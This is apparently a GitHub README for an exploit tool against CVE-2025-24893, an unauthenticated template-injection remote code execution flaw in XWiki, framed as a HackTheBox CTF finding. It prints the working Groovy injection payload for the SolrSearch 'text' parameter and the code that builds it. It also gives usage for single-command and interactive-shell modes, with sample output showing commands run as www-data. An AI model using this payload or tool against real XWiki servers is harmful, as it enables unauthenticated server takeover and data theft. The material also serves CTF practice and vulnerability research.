rippsec/cve-2025-24893-xwiki-ssti-rceCVE-2025-24893 – XWiki SSTI unauthenticated RCE exploit (HackTheBox CTF)
| Field | Details |
|---|
| CVE | CVE-2025-24893 |
| Software | XWiki |
| Vulnerability | Server-Side Template Injection (SSTI) → RCE |
| Authentication | Not required |
| CVSS Score | Critical |
| Context | Discovered during HackTheBox CTF |
XWiki exposes a SolrSearch endpoint (/xwiki/bin/get/Main/SolrSearch) that renders user-supplied input through the Groovy template engine without sanitization. An unauthenticated attacker can inject a Groovy expression via the text query parameter, achieving Remote Code Execution on the underlying server.
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
The text parameter is embedded directly into an XWiki macro context and evaluated by the Groovy engine. The injection escapes the template context using }}} and opens an {{async}}{{groovy}} block:
}}}{{async async=false}}{{groovy}}println("<CMD>".execute().text){{/groovy}}{{/async}}
The output is reflected in the RSS response body and can be extracted via regex.
payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'
The response is XML/RSS — command output appears between [}}} and ]</ markers with HTML-encoded characters.
python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMMAND]
| Flag | Description |
|---|---|
-t | Target hostname or IP |
-p | Port (default: 80) |
-s | Use HTTPS |
-i | Interactive shell mode |
-c | Single command execution |
-v | Verbose output |
# Single command
python3 exploit.py -t wiki.target.htb -c "id"
# Interactive shell
python3 exploit.py -t wiki.target.htb -i
# HTTPS on custom port
python3 exploit.py -t wiki.target.htb -p 443 -s -i
pip install requests termcolor
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)